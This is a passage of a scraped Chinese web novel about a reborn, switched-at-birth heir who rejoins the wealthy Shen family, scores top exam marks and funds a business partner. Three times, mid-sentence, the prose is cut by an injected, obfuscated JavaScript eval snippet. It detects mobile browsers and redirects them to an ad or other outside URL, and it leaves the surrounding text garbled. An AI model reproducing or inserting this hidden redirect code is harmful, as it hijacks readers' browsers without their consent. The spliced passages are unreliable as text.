谢淮也不知道自己为什么纠结这个问题,昨天重返网吧,他还问过徐亦辰认不认识刚刚那位学弟。 得到一句“给人送伞还不够,还想和他共撑是吧”的回答。 戚栩的眼神扫过置物架上的紫砂壶,随口应付着谢淮:“学校这么多人难道你每个都见过?” 谢淮轻笑了一声:“倒也不是。” 出生在这个圈子的哪一个是不聪明的,就算混账,也是聪明着混,知道底线在哪里。 点到为止,双方都心照不宣。 “还做不做生意了。”戚栩瞥了谢淮一眼。 上一世的谢淮长得不像是这么多话的人。 谢淮再次笑了起来,倚在墙上询问:“这位客人,本店有各时期的古玩,请问你需要什么?” 戚栩目标明确:“我想要个现代香炉。” “香炉是吧。”谢淮显然不熟悉店面,扫了一圈才在后排找到几个香炉,“你在这里先看着,我到里面找找还有没有其他款式。” 戚栩其实不太想和谢淮有过多接触,以前没有,现在也不想有。 他看着那个青沉变色香炉:“不用了,我就要那个,多少钱。” 谢淮把下面的盒子拿起来,看到上面挂着的价格标签,这破香炉竟然要2万,小舅这店真坑人。 他把价格标签撕下来:“1万。” 再对半砍一下,五千拿到手。 戚栩没说什么话,直接递给谢淮一张银行卡:“刷卡。” 谢淮:“……” 哪家的少爷出来消费。 “你不砍价?” 戚栩确实不擅长砍价,在戚家村他没怎么买过东西,都是捡别人剩下的用,存了这么多年只存到了两三千,舍不得花出去。 在沈家,衣食住行被安排,他所光顾的都是奢侈品店,砍价就掉价了。 戚栩问:“刚刚不是说了本店一律不讲价。” 谢淮已经把香炉打包装起来:“那是对第一次光顾店里客人的说辞,你我都是生死逃亡的缘分,可以给你便宜点。” 戚栩记得老秦说过前期这家古玩店亏损很大,拿了自己半辈子的积蓄才勉强经营下去。 后来越做越大,这一排店铺都是他家古玩城,十年后流行直播卖货,老秦跟上潮流也学着,还真让他在网络上闯出了点名堂。 戚栩人生中第一次砍价,也不能让老秦亏太多,试探地说:“9500?” 谢淮:“……” “行。” 谢淮拿着银行卡刷卡,不熟练地包好盒子,递给戚栩:“欢迎下次光临。” 戚栩接过后说了声谢谢,转身离开。 谢淮凝着戚栩离开的身影,这人很明显认识他,但又不想和他过多接触交流,甚至还有点猫见老鼠躲着他的感觉。 圈子有这号人么,谢淮确定自己以前没见过他。 没一会儿,秦越拿着两根冰糖葫芦进来,他熟悉店里的每一处,一眼就看到香炉的位置空了。 “可以啊,今天这么快就开张了。”他把其中一份冰糖草莓给谢淮,“讲了多少价?” 谢淮说:“一口价9500。” 秦越喜上眉梢:“不错,赚了4500。” “……”谢淮一言难尽地看着他,“小舅,你这是黑店吧,进货价5000的东西卖2万。” 秦越今年28岁,是秦家最小的孩子,一身的聪明叛逆劲儿,家里人本以为他毕业出来可以进秦氏,但这人剑走偏锋,倒是顺了家人的意愿从商,自己出来开了家古玩店。 “别嚷嚷,不赚就亏了,而且人都会讲价,赚多赚少的问题,你小舅我可是立志要盘下这边的全部店铺开古玩城。” 谢淮淡淡地说:“这里本来就是外婆的产业。” 秦越义正言辞:“再三声明我不是继承家产,我是要用自己的钱买下这里。” 谢淮戴上耳机:“祝你梦想成真。” 秦越一屁股坐在他身边,拉开他一边的耳机问:“最近怎么有空到我这边,你爸没让你去公司?” 谢淮在手机里挑歌,不在意地说:“不想去,我在你这里待着。” 秦越神色复杂:“都是说外甥像舅,你可别学我,你们谢家只有你一个独子,以后靠你撑起整个家族,等我老了还指望你给我养老呢。” “你这是赖上我了是吧,我和我媳妇还得养你这家黑店?”谢淮咬下一颗草莓,汁水在嘴里迸发,酸得他直皱眉,“哪买的草莓,酸死了。” 秦越咬了一口:“哪酸了,这不挺甜的么,你这嘴真是一点酸都吃不了。” —— 世界上没有不透风的墙,沈家抱错孩子这件事终究传了出去,导致沈氏集团的股票发生变动,沈卓海不得不出面处理这件事。 接受采访时将事情公之于众,掩下了戚栩在戚家村所受的一切,换子之事轻描淡写略过,沈家并不想把沈泽予推上风口浪尖,继而再将戚栩打造成一个山区出来勤奋好学成绩好的孩子。 并当众宣布沈泽予和戚栩都是沈家的孩子,一视同仁。 沈家夫妇看过戚栩高中期末成绩,在高中名列前茅,即使高考落榜,他们也能让他上大学。 刚好,高考成绩要出来了。 高考成绩出来的那天,沈家人齐聚,不少其他旁支借此来看热闹,都想目睹戚栩的真容。 沈泽予看过那则新闻,彻底给足了他的底气,重要还有一点,爸妈至今没有提过要给戚栩改姓。 家里来亲戚了,沈泽予贴心跟在曾云身边招待客人,被长辈称赞泽予还是那么地懂事。 曾云轻拍着他的手:“去和表弟他们玩吧。” 等沈泽予走了后,那人才和曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122216|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云说:“戚栩怎么也没下来陪陪你,自己一个人躲在楼上,客人来了也不下来。” 曾云为戚栩说话:“小孩刚回到家不适应,有点害羞很正常,过些日子就好。” 那人理解地点头:“也是,毕竟生活环境和泽予不一样,大嫂,你把泽予教得真好,我家那个到了叛逆时期我都不会教了,得让他多向泽予表哥学习。” 曾云喜欢别人夸她的儿子,心里颇为骄傲:“泽予确实没让我操过心。” 沈泽予来到小孩堆里,他一向对这些表弟表妹出手大方,手办,模型,游戏充值有求必应。 小表弟忽然问沈泽予:“表哥,我妈妈说表叔多个儿子,让我们叫他表哥,人在哪里?” 沈泽予保持着笑容回应:“对,他也是你们的表哥,昨晚很晚才回来,在楼上睡觉。” 表妹年纪小,小学三年级,有什么说什么:“妈妈说你不是表叔亲生的,另一个表哥才是。” 沈泽予的笑容瞬间僵硬,眼里闪过异样。 高一的大表弟连忙捂住妹妹的嘴:“说什么呢,我们只认泽予表哥和大表哥,其余的我们不认。” 小表弟应和着:“我上网查过那个地方,连地图上都没有,好恐怖啊,在那里怎么生存,他会不会有什么怪病。” 听到这句话的沈泽予恢复冷静:“别这样说,那里只是贫困山区,回来的第一天爸妈就让人带他去医院检查,没什么病。” 沈泽予被沈泽枫叫去,小辈们还在小声着讨论那个山区来的表哥。 “他应该长得很黑吧,我见电视上生活在山区的人都长得很黑。” “他会不会很脏啊,吃饭不用筷子用手,咦~我不想和他坐在一起吃饭。” “听说他的成绩很好,不知道他高考多少分,能不能上大学。” “那里的师资力量能有多好,和我们这边不一样,那点分数考个本科也算捡到了。” 戚栩还没有下来,正在喝茶的沈卓海皱着眉让佣人把戚栩叫下来。 佣人敲门时戚栩刚醒,正在阳台点香,他把香插进香炉:“昨天赶着出门没给你点香,今天补上点两根。” 戚栩知道今天会很吵,昨晚戴了耳塞睡觉,耳根清净睡到自然醒。 戚栩从楼上下来雷打不动打开冰箱拿了一瓶矿泉水,一口气喝了大半瓶,然后才看向客厅。 茶桌,沙发,游戏区所有人都直直地看着他,无一例外都是震惊好奇的眼神。 这个刚认回来的沈家孩子和他们想象的完全不一样。 少年人身姿挺拔,仿若修竹,气定神闲主家人的做派,不像是从山区出来的孩子,畏畏缩缩,眼神闪躲。 不黑,肤色甚至比他们这些养尊处优的少爷还要白皙,手腕上戴着一串檀香串,眼神毫无波澜起伏,整个人清冷又凌厉。 戚栩扫了一眼上一世那些所谓的亲戚,因小公司出了问题求到他这里的二表叔,他铁面无私地拒绝,骂他养不熟的白眼狼。 由于欠下的债务窟窿补不上,一而再再而三来家里借钱的小姑,他知道对方的债务是因为赌博欠下,让管家把人赶出去,怒骂他冷血无情的怪物。 还有那些和他同辈的表弟表妹,从来没有叫过他一声表哥,每个人齐心协力一致对外。 “大家还安在呢。” 一句问候,沈卓海脸色突变,曾云眉心紧皱,沈枫凯即将勃然大怒。 戚栩似乎察觉到自己说错话:“没人教过我如何向长辈们问好,我没家教,是我说错话了吗。” 一句没家教堵住了所有人的嘴,默默咽下训斥的话。 5. 第 5 章 高考成绩出来了,沈泽予坐在沙发上,面前放着笔记本,拿着手机在和朋友发信息。 他仰着头和沈枫凯说:“阿淮说网站太卡了,我这里也卡住了,怎么办。” 沈枫凯揉了揉他脑袋,安抚着:“别着急,考完你不是和他对过分数么,应该大差不差。” 曾云坐在两孩子的中间,她看着旁边一边玩贪吃蛇一边盘珠子的戚栩。 “小栩,是不是不会查成绩,让泽予帮你查吧。” 沈枫凯闻言看过去,不满道:“什么时候了还在玩游戏,自己的高考成绩都不在乎吗?” 他们沈家的小孩从小被教育在什么时间做什么样的事,戚栩这样吊儿郎当的模样他早就看不惯,要不是爸妈拦着说小孩刚回来给他点时间适应,他一定要好好教育一番。 不知道玩游戏和在不在乎成绩有什么关联。 戚栩头也没抬,手指一动手串戴回手腕:“在乎,但有什么用,在乎的话网站就不卡了?还是说你是网站维护员,可以给我开个后门让我先查。” 沈枫凯气在头上,明显不悦,果然是野孩子,在外面惹了一身坏毛病回来。 先前他从视频里看到戚栩第一眼觉得这个弟弟是有野心并且非常聪明,没有问父母什么时候回家,每次结束通话都会说一句爸爸妈妈玩得开心。 在长辈面前假装乖巧,利用这点让他的爸妈起恻隐之心和愧疚感。 等到真正见面时,真面目完全展露出来,并非纯良无害。 他了解过戚栩的一些往事,十六七岁的时候和养父对打,伤了养父一只手,并被关进了警察局。 残暴,叛逆,经常逃课,品行不行,以后丢的也是他们沈家的脸。 就在沈枫凯准备教训戚栩时,沈泽予拉出了他的手:“哥,别生气了,我查完后帮他查就是,他可能真的不会查。” 这么好的一部手机用来玩单机游戏,看来也不会用电子产品,那应该也不会用电脑吧。 沈泽予敲键盘的手都快了起来。 戚栩懒得理他们,手机上的贪吃蛇吃得又胖又长,占据了整个屏幕,直逼第一。 沈枫凯被沈泽予劝住了,走到黑着脸沈卓海那边去。 刚刚两人的对话所有人都听到了,二表叔拿起茶杯抿了一口,若有所指地说:“这孩子脾性大得很,挺好的,以后不受欺负,泽予脾气从小就好,就怕出了外面被别人欺负。” 沈枫凯说:“有我在,泽予不会被欺负,他是我最疼爱的弟弟。” 在座的人又夸沈枫凯说了几句有担当,有作为。 有大儿子在,沈卓海的脸色总算缓和了些。 沈泽予一声惊呼:“阿淮的成绩被屏蔽了,前50名没跑。” 戚栩听到熟悉的名字晃了一下神,贪吃蛇差点撞上了墙,好在他及时转弯,没了心思玩,按下暂停键。 曾云开心地捂着嘴:“天啊。” 沈泽予又开始紧张了,一脸苦相靠着曾云的肩膀:“妈妈,要是我考砸了,不能和阿淮上同一所学校怎么办。” 曾云刚想说话,戚栩的手机响了起来,打断了母子两的温存。 打电话的是戚栩高中时的班主任赵文,高三重要时期每个周末来回到市里的重点中学拿模拟卷带给戚栩。 是唯一一个希望戚栩离开戚家村,离开山区的人。 在沈家人来接他的时候,赵文一个平时五大三粗的大男人竟然红了眼眶,重重地拍着他肩膀:“臭小子终于远走高飞了,离开这里好好享受属于你光明的人生。” 戚栩和上一世一样临走前把自己的电话留给了他,这几天依旧和他保持联系,说着首都的事和物。 戚栩知道赵文担心他适应不了首都的生活,他以此来给赵文一点心安。 只是这一世他不打算争了,不会有以沈氏的名义对母校进行捐赠,只能尽自己的微薄之力帮助母校建设。 “赵老师。”戚栩和电话那头里的人问好,“最近还好吗?” 赵文粗狂的声音提高了几个音调:“哈哈哈,好得很,你查成绩了么。” 戚栩说:“还没有。” 旁边的人不知道说了什么,赵文笑着和他说句滚,又不是你的学生,随后对戚栩说:“不用查了,你的成绩在我手里,戚栩,恭喜啊,你是我们市的理科状元!” 赵文很是激动,笑得合不拢嘴,一直在重复着:我就知道你小子大有出息,我就知道。 戚栩早已知道自己的成绩,很庆幸自己重生在高考之后,不然他不确定能不能考到上一世的成绩,现在重生的节点起码让赵文又高兴了一回。 赵文没有听到戚栩的回应,问:“怎么不说话,高兴傻了?” 戚栩笑了出声:“高兴坏了,感谢赵老师教导和帮助,没有你也就没有现在的我,你是我人生中最重要的人,没有之一。” 戚栩通电话并没有避着人,说话的声音不大不小,刚好让全场的人都听到。 沈家人神色各异,听到这番话内心复杂。 赵文打了个冷颤,受不了戚栩说这些肉麻的话:“可闭嘴吧,别恶心我,市里要来人采访我给你回绝了,要是可以,我真希望你永远不要再回来这里。” 他并不希望戚栩的身世被大肆宣扬,从而影响到孩子的正常生活。 赵文说了几句叮嘱后:“把这个消息告诉你的家人吧,他们肯定为你高兴,为你骄傲。” 会为他高兴,不过只是几秒钟的事,沈泽予因为估分和实际成绩有个十几分出入,委屈地哭了起来,全家人都忙着安慰他。 戚栩应声:“赵老师,你别高兴过头,下班骑车回家掉进沟里了。” 赵文笑着骂骂咧咧挂了电话。 曾云掩下眼底的悲伤,提起精神问:“小栩,是谁啊?” “是我以前高中的老师。”戚栩收起手机,语气无任何起伏,“他告诉我,我是市里的理科状元。” 轮到曾云惊呼,嘴里喊着“天啊”,激动地搂住了戚栩:“真的吗,小栩,你好棒。” 她转头和沈卓海说:“老沈,小栩是市里的理科状元。” 沈家旁支纷纷出声恭喜,沈卓海终于扬起了一个笑容,但并未对戚栩说夸赞的话,生怕这个孩子骄傲自大。 “继续努力,高考只是人生中一小部分,以后的日子还长,脚踏实地慢慢走。” 在所有人看不见的地方,沈泽予死死地握拳,因为用力指节泛白,双手忍不住颤抖,眼里都是悲愤。 几分钟后,沈泽予查到了成绩,看到成绩的那一秒他狠狠合上电脑,一言不发跑上了楼。 曾云被“啪”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122217|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声吓了一跳,转头看到泽予急匆匆地上楼,问道:“泽予,怎么了?” 并未得到对方的回应。 沈枫凯打开电脑看到成绩查询网站:“泽予的成绩比预估的分数少了十几分,他自小要强,可能接受不了落差,我去看看。” 沈枫凯上楼后,沈泽予反锁着一直不开门,别无他法,他只能下来让曾云上去劝说。 曾云顾及小心翼翼看了一眼戚栩,又对沈泽予不放心,斟酌过后对戚栩说:“小栩,我上楼看看泽予,等会爸爸妈妈和你一起庆祝。” 戚栩无所谓地笑笑,贴心道:“没关系,你上去吧。” 曾云上楼劝说无效,沈枫凯又下来请沈海卓上去,弟弟尊敬父亲,应该会听他的话。 沈海卓在房门口说了几句话,沈泽予抽泣着打开了门。 沈枫凯见父母都进了房间便下楼招待客人,只见戚栩又出门了。 “站住。”沈枫凯严厉地喊住了戚栩,“客人还在,你要去哪里?” 每天都早出晚归,离开也不打一声招呼,曾云和他说过小栩好像不愿意和他们亲近,她走不进孩子的心。 一想到母亲每晚为戚栩睡不着,为这个家忧心他就心疼,然而这个不孝子还事不关己,依旧我行我素。 这个家究竟有多不好待,外面难道就比家好? 戚栩自若回头,坦然地和沈枫凯对视:“去哪?去庆祝啊,我考了理科状元,我自己不能开心,难道还指望你为我开心啊。” 说完后他潇洒地转身离开沈家,去找开心。 “咚咚咚。” 戚栩敲响了某出租屋的门:“你好,李恺兴在吗?” 不一会儿,一个穿着小短裤,裸着上半身的男人睡眼惺忪出来,眼睛都没睁开就朝门外伸手:“谢谢大哥。” 显然把他当成送外卖的,戚栩把门口的扫把递给他。 今天的饭怎么是长条的,点啥了。 李恺兴迷糊地睁眼发现自己拿着扫把,又看到眼前陌生的男人,慌张之余,一只手护着身上的两点,一只手拿着扫把对着戚栩。 “干嘛呢,劫财还是劫色。” 戚栩上下打量着他:“你好像也没什么地方值得我劫色。” 李恺兴闻言改成双手紧握扫把:“兄弟,我这环境一眼看到头,有什么值得你劫。” 戚栩盯着李恺兴的脑袋:“我想劫你。” 李恺兴:“……” 妈耶,遇到人贩子了。 他问:“我这个年纪被拐也会有人要吗?” 戚栩了解李恺兴的脑回路,顺着他的话说:“很难转卖,但可以送去缅北割腰子。” 李恺兴捂住自己的腰子:“我肾亏你也要吗?” 戚栩:“……” 不想再和他贫嘴下去了,不然这一天就这样白白过去。 “我来聘请你当我的合作伙伴。” 李恺兴警惕地看着他:“这是什么新型诈骗,我只是一个刚毕业考不上研,考不上公,在家啃老的大学生,叫个外卖还要分期,每个月要还花呗。” 戚栩开门见山:“你前几天是不是到沈氏面试过,但被筛下来了,我看过你的简历,根据上面地址找到了你。” 李恺兴问:“你是。” 戚栩说:“投资者。” 6. 第 6 章 在得知对方是沈氏集团的人后,李恺兴迫不及待搬了张塑料椅子到门口:“家里没收拾,咱们就这里谈?高手从来不抱怨环境。” 戚栩坐在椅子上,观察着李恺兴居住的环境。 典型的一户一室的出租屋,公共浴室,公共厨房,公共阳台,楼道上挂满了滴着水半干的衣服。 上一世他手上的跨国项目终于签署合约,这也是戚栩第一次全权接手沈氏的项目,没有沈枫凯的插手。 李恺兴当时开心得像个孩子,在办公室学着人家高考完扔试卷,把手上的合同扔了,最后还得自己蹲下一张张捡回来。 李恺兴是他团队里的一把手,他亲自面试亲自下的offer,一手提携,跟在他身边做事,也陪着他一起熬夜,把办公室当成第二个家。 出事前一个星期李恺兴载着他来这边,车停在路边降下车窗,指尖夹着烟指着新建的写字楼:“戚总,五年前和你说的曾经创业成功是面试话术,骗你的,最后没找到融资工作室宣布破产,我又搬回出租屋,颓废了大半年,房租都快交不起,爸妈都让我回老家。” “我原本都想放弃了,无意间看到沈氏发布的招聘信息,大学毕业后我的第一家面试公司就是沈氏,你爸没要我,那时就想着离开前故地重游,也算有始有终。” 他扬起了一个守得云开见月明的笑容:“没想到五年后他的儿子给我下offer,以七位数的年薪聘请我为项目总监。” 戚栩手上捏着烟没点着,摩挲着烟嘴:“我知道你创业没成功,要不然当老板的还愿意来我这里打工?” 李恺兴对戚栩说的话不惊讶:“不愧是你,话说,你有没有想过有朝一日出来单干,在沈氏束手束脚,完全发挥不了你的能力,我跟着你,咱们开个夫妻档如何?” 这种玩笑话李恺兴经常说,一般都是插科打诨就过去了。 戚栩垂着眸,没看到李恺兴眼里那抹认真:“再说吧。” 最后那支烟还是没点着,因为戚栩打算戒烟了。 李恺兴拿了一张小板凳坐在戚栩对面,这人看着年纪比他还小,真的是沈氏集团的人? “那个,你在沈氏集团担任什么职位?” 戚栩收回眼神,说:“总裁他儿子。” 李恺兴一惊,屁股下小板凳不稳差点给戚栩磕了个头。 “沈少爷!” 戚栩纠正:“我叫戚栩。” 李恺兴没深究,以为他跟母亲姓,重说一遍:“戚少爷!” 重新再听一次这个称呼,戚栩颇有感慨,他死后李恺兴应该会辞职离开沈氏,拿着这几年攒下的老婆本继续创业,以他的资历这一次肯定会创业成功。 “在面试的时候你说过自己筹备了一个项目,可以把方案拿给我看一下吗?” 李恺兴这次彻底相信他是沈氏集团的人,这件事他确实是在面试的时候说过。 他屁颠屁颠地进屋拿电脑,一路上还拖着个充电器:“在这呢,你看看。” 戚栩听李恺兴说过他的创业方向,互联网方面,十年前互联网已经被大公司垄断,小公司再以这方面发展必定会遭到反噬,也极难从0到1,然而十年后互联网将迎来了一个大高潮,百花齐放。 戚栩以多活了十年的经验浅显地说了一下项目中的偏差,李恺兴立即茅塞顿开:“不愧是大公司的继承人。” 最后他又问:“我以后为你个人做事还是帮集团?” 戚栩说:“我以个人的名义聘请你,与沈氏无关。” 李恺兴了然,富二代出来创业,没在大公司里工作,退一步,为大公司的继承人干活也差不多。 “冒昧问一句,戚少,你的创业启动资金有多少?” 戚栩:“八百万。” 口袋里的手机震了震,他拿出来一看,是一条银行卡到账信息,他补充:“现在有一千万了。” 李恺兴:“……” 原来两百万在你们少爷眼里就是看看手机的事。 “你为什么放心将一千万的资金投资在我一个陌生人的身上,你就这么笃定我能成功?” 戚栩并没有第一时间回答他的问题,看着面前刚毕业还尚青涩,眼里却依旧对未来充满着期待的李恺兴。 浑身上下都是劲儿,还没变成烟酒都来的老油条。 “你的能力不该被淹没在这股互联网热潮里,我知道你的志向不在为别人打工,更想闯出自己的一片天地,而我只是恰好看中你的能力,当然,谁也不能确认未来的事,但不试试怎么知道呢。” 刚经历过面试被拒,同学都已经被大公司录取在朋友圈庆祝,而他每到深夜,一个人在大城市的出租屋忍不住焦虑,对自己产生怀疑,我真的有那么差吗? 如今从天而降一个人,对他抱有期望,诚挚地对他说:你的能力很强,我想和你朝未来一同前进,闯出属于我们的一片天地。 堪比婚礼现场的一句“我愿意”,怦然心动。 李恺兴心中无比感动,语气坚定:“戚少放心,我一定不负你所望,那一千万我会给你翻个好几倍……” 就在李恺兴宣誓期间,外卖小哥虽迟但到,急匆匆地上楼:“不好意思,刚刚路口出了事故,我帮忙报了个警耽误了一点时间。” 李恺兴双手接过外卖袋子:“没事没事,你辛苦了。” 送走外卖大哥后,李恺兴客套地询问戚栩:“吃饭了吗?我请你吃饭。” 戚栩不客气地说:“刚好没吃午饭,谢谢你的招待。” 上一世李恺兴没少讹他请客,这一世先下手为强。 李恺兴:“……” 你怎么好意思让一个点外卖都要分期的人请吃饭。 一份外卖哪里够两人吃,李恺兴着急忙慌到楼下饭店加急了两份小炒。 就这样一人捧一盒米饭,行李箱当桌子,上面放着两荤一素。 李恺兴本以为这位少爷只是一时兴起,意思意思吃几口,没想到吃得比他还尽兴。 午饭结束,两人加了联系方式,有什么事可以在线上聊。 李恺兴站在三楼的过道上,朝楼下的戚栩挥手:“下次再见。” 戚栩无言朝他挥了挥手,坐上的士离开。 李恺兴忽然朝天空大喊了一声:“啊——今天的月亮真没美……” 还没说完,隔壁传来婴儿的啼哭,房门推开走出一个妇女,张口大骂:“神经病啊,太阳当头哪来的月亮,小孩刚哄睡,你鬼叫什么。” 李恺兴立即向她道歉,灰溜溜地回到出租屋。 —— 这几天因为沈泽予高考分数的事,沈家人的心思都在他身上,没空管戚栩。 那两百万是沈卓海给他的高考奖励,没有实体礼物,应该是怕沈泽予看到了不开心。 沈泽予每天吃完早餐就不见了人影,有天戚栩醒得早,下楼吃早餐的时候听到沈泽予催促沈枫凯出门。 “哥,你快点,阿淮要和我商量填志愿。” “你俩每天都见面,不急这么一会儿。” “没有,他忙得很,还要到公司帮谢叔叔呢。” 沈家夫妇问过戚栩志愿相关的事,上辈子的这个时候他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122218|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经知道自己处境,为了掩盖自己的野心而选择了计算机专业。 毕业后因为沈泽予跟着谢淮出国深造,沈卓海让戚栩进入沈氏从底层做起,美其名曰为了锻炼他的能力。 戚栩花了六年时间,从底层走到沈氏副总这个位置,为了股份和沈枫凯争了个你死我活,到头来逍遥自在的沈泽予得到了那一半股份。 现在他们问他志愿的事,戚栩在餐桌上当着所有人的面说:“Q大的金融管理专业。” 气氛一片诡异没有人说话,仿佛戚栩说了一件什么重大事件,其实不过是高考志愿而已。 沈泽予头顶犹如惊雷闪过,他以为戚栩不敢,也以为戚栩会掩饰,没想到这个从戚家村出来的野小子会明目张胆地和他争。 戚栩的到来并没有改变他的现状,家人原封不动的宠爱,先前在圈子里交好的朋友依旧和他联系,归功于那一则广而告之“戚栩和沈泽予都是沈家孩子”的通告。 也归功于他依然姓沈,依然在首都沈家而不是戚家村。 戚栩真以为自己能抢得过他,他在沈家生活了18年,清楚了解这里的一切,看似圆满没规则,实则扇扇门后都是条条框框。 顶天的还有沈家长子沈枫凯,那就抢吧,看看这人能在沈家抢到什么。 沈家夫妇倒也没做出劝戚栩改志愿的事,只是微笑着说兄弟两一起上学还有个伴儿。 当天晚上吃的是沈泽予最喜欢吃的西餐,为了庆祝他终于定下了志愿。 星级西餐厅的主厨亲自到沈家为一家人做晚餐。 桌面放着精致的纯银刀叉,佣人已经上了第一份菜品。 沈泽予熟练地拿起刀叉优雅地切着食物,刀叉在陶瓷碟上没有发出任何声音,此时他的动作比任何时候都要得体,将这些年来所培训的餐桌礼仪发挥到极致。 他不着痕迹地扫了一眼戚栩,对方正在把玩着刀叉,并未动手切食物,看着是不会用这套餐具。 今天过后将会有人议论真少爷的行为举止,就算有血缘关系又如何,沈家要是一位拿得出手无关血缘只关面子的的完美少爷。 18岁的戚栩扫了一眼桌上的人拿餐具的手势,有样学样,但由于没有接受过餐桌礼仪培训,刀叉在瓷碟中发出刺耳的声音。 沈家人欲言又止,沈泽予在阴阳怪气,戚栩直接扔下刀叉,满身戾气离席。 事后他听到家里的佣人的议论。 “还是留在身边亲自教养的孩子拿得出手,他竟然不会用刀叉,看着真丢人。” “他不得先生和夫人喜爱是正常的,野蛮粗鲁,泽予少爷气质优雅,是我我也对泽予少爷宠爱有加。” 戚栩放下刀叉,对一旁的佣人说:“帮我拿双筷子。” 这个时期的戚栩确实是不会用刀叉,死过一次的戚栩不屑于用这点小事来打某个人的脸,同样也看出了他放在自己身上看戏般的眼神。 那就将不会贯彻到底,没什么可丢人的。 沈泽予似乎没想到戚栩这个举动,放下刀叉说道:“筷子出现在西餐桌上不符合礼仪。” “是吗,没人教过我这些。”戚栩抬眸看他,眼里的冷冽几乎姚凝成实体,“那你现在和我说话是不是也不符合礼仪,食不言寝不语。” 沈泽予被他这么一说脸上充血,顿时恼火:“你……” 沈枫凯打断了两人的对话,一声令下:“拿双筷子吧。” 很快佣人把筷子放在戚栩面前,他熟练地夹起一块扇贝放进嘴里,用餐期间也没有再说过一句话。 沈枫凯垂头掩下眼底的不忿。 7. 第 7 章 沈泽予从德国回来一直出现在公众视野,如常地参加同学聚会,网球友谊赛种种,身边依旧聚集了交好的圈内好友,与以前的生活无异。 反倒戚栩一直没露面,他被接回沈家已经半月有余,外界一直对沈家真少爷议论非非,好奇与猜测,渐渐地对沈卓海那句“一视同仁”产生怀疑。 谣言再次将沈家推上风口浪尖,沈卓海每天为了处理各种事忙得不可开交。 周五早上,一家四口正在餐厅享用早餐。 沈泽予注意到父亲的脸色,关切地问道:“爸爸,最近没有休息好吗,怎么脸色这么差?要不要叫关医生来家看看。” 沈卓海揉了揉因休息不足突突直跳的太阳穴:“没事,只是有点失眠而已。” 沈泽予可从来没有听说过父亲有失眠的症状:“哥,是不是公司出事了?” 沈枫凯拿起枫糖浆倒在沈泽予面前的华夫饼上:“公司没出事,小孩子家家别管这么多。” 沈泽予欢喜父母和大哥把他当成小孩,因为这是对他的宠爱,但又不喜欢他们什么都瞒着自己,只和他说私事,不和他说公司的事。 不和他说,难道要和戚栩说吗? “我已经成年了,不是小孩子,我有能力帮你们分担家里。”沈泽予佯装不满,“难道让我干看着爸爸为家里操劳,我做不到。” 沈卓海看着看着沈泽予的眼神越发慰悦,不愧是他亲自教育培养的孩子,天真之余不乏担当。 “有泽予这句关心,爸爸今晚肯定可以睡一个好觉。” 曾云嗔怪地看丈夫一眼:“儿子是神仙丹药是吧,等会还是让老关来一趟比较稳妥。” 沈泽予应和了几句,再问:“哥,到底怎么了。” 沈枫凯说:“爸想让戚栩代表沈家出席方家小女儿的成人礼。” 沈泽予闻言放在腿上的手死死地拽紧裤子。 以前这些家族小辈的宴会都是由他代表出席,虽说小聚会不比商业宴会的规模,但这些人都是各大家族备受瞩目和宠爱小辈,同样也有家族的继承人。 什么样的人进入什么样的圈子,这是他们不成文的规定。 裤子上的手倏然放开,沈泽予脸上不显情绪:“太好了,他们和我说过想认识……二哥,刚好我那天有点事,我让他们好好照顾……” 沈枫凯知道沈泽予误解了他这句话的意思,说道:“他初来乍到什么都不会,让他一个人出席宴会保不准会得罪人而不自知,你和他一同出席,他露个脸就行。” 父母没有亲自置办宴会把戚栩隆重介绍出去,只是打算让他出席其他家族的宴会露个脸,显然是不重视戚栩。 也是,连刀叉都不会用的人,出去也是丢人现眼。 沈泽予笑笑:“大哥放心吧,参加聚会的都是我相熟的朋友,就算二哥做错了事,他们也不会计较的。” 正说着,当事人睡眼惺忪地下楼,走到餐桌自己的座位上坐下,不过心地打招呼:“早上好。” 曾云让佣人给戚栩上早餐,戚栩扫了一眼西式早餐,兴致缺缺,有一口没一口地吃起来。 沈枫凯在餐桌上通知戚栩:“下午你和泽予出席一个聚会,你不认识人也没参加过,不要做其他无谓的事,跟在他身后就好。” 两秒后戚栩放下手里筷子:“这么怕我做错为什么还要让我参加。” 这些天他们确实忽略了戚栩,主要原因还是戚栩和他们不亲,他们无法把一部分的感情从贴心的小儿子身上住冷漠亲儿子身上转移。 他们需要给予的情绪价值对等的回报,而不是一昧地付出。 沈卓海语重心长以及告诉他这个事实:“小栩,现在你是沈家人,不是在戚家村,总得要出去见见世面,多学习学习。” 戚栩重复沈卓海的话,意味不明:“见见世面,多学习学习。” 他拿起手边的餐巾纸擦嘴,提起了点兴趣:“好啊,那就去看看。” 